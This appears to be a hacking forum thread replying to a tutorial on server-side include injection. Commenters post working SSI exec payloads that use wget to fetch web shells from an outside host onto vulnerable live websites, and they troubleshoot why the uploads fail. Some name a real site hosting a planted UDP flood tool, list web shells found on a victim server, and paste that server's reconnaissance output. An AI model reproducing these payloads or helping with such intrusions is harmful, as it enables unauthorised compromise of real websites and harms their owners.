[Th3PonyWizard]

Nice tut. It's a shame that there's not that much vulns overall. Although, there's POST, USER AGENT, and COOKIE parameters, I wonder if the same might apply there~

[Th3PonyWizard]

Could someone help me? I have the shell on my server... I do the command <!--#exec cmd="wget http://mysitehe.re/config.txt" -->

Then I check the files but it is never there... What am I doing wrong?

Do
<!--#exec cmd="wget http://mysitehe.re/config.txt -O pony.php" -->
Instead. then, go to the folder the shell got installed, under pony.php.
:3

[nate3779]

the wget line isnt written correctly i think. and Great, Great post OP

[Th3PonyWizard]

On that site it isn't working.
Try site i gave in OP...

It's working partly. I ran different commands, but seems like that wget command specifically does not work.

[A V A T A R]

awesome tutorial.
Thanks for writing such great tutorial. 🤝

Where do I get any shell?
I want to upload somthing. XD

[A V A T A R]

It says "wrong username" when I upload the shell.

[nate3779]

Somone uploaded a UDP flood, EPIC lol
http://stockphotosamerica.com/old.index.php

[inurl]

really good job sir, nice explain and easy to understand for reverse shell , well done +1

[The Discover]

i am your fan now because the way you explain is very awesome .
thanks you for the tut

[Sw1x]

Nice work, HQ, keep it up! 👍

[Oats‌‌‌]

Great guide, will be testing it out later, thanks for the share man.

-Oats 😎

[Onju]

Great tutorial bro'
I love it. Thanks for share

[fobber]

Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well.

Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there.

I used this code:

Code

[b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->

It gave me this message (as expected):
Sign-in is required to use the lightbox functions. The user: , does not exist, please try again.

I tren tried listing all files on there using this:

Code

<pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>

But sea.txt was no where to be found. Did I do anything wrong?

When I use ls -a to list all the files, I do see a lot of shells have been uploaded already. GHOST_SH3LL.php, c100.php, shellie.php, sym.php, wso.php and more.

[fobber]

Maybe wget function is disabled.
Try another site... :)

Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :)

I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though:

Code

Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009 x86_64
Server Name : www.***.com
Disable_Functions : All Functions Enable
Safe_Mode : Off
Openbase_dir :
Php Version : 5.1.6
Free Space : 1.71 GB
Total Space : 2.91 GB
Register_Globals : disable
Curl : disable
Database
Server Name : www.***.com
Admin Server : [email protected]

[Onju]

๖ۣۜΗ α x O r ♥ > Why is impossible to see shell control panel?
white page.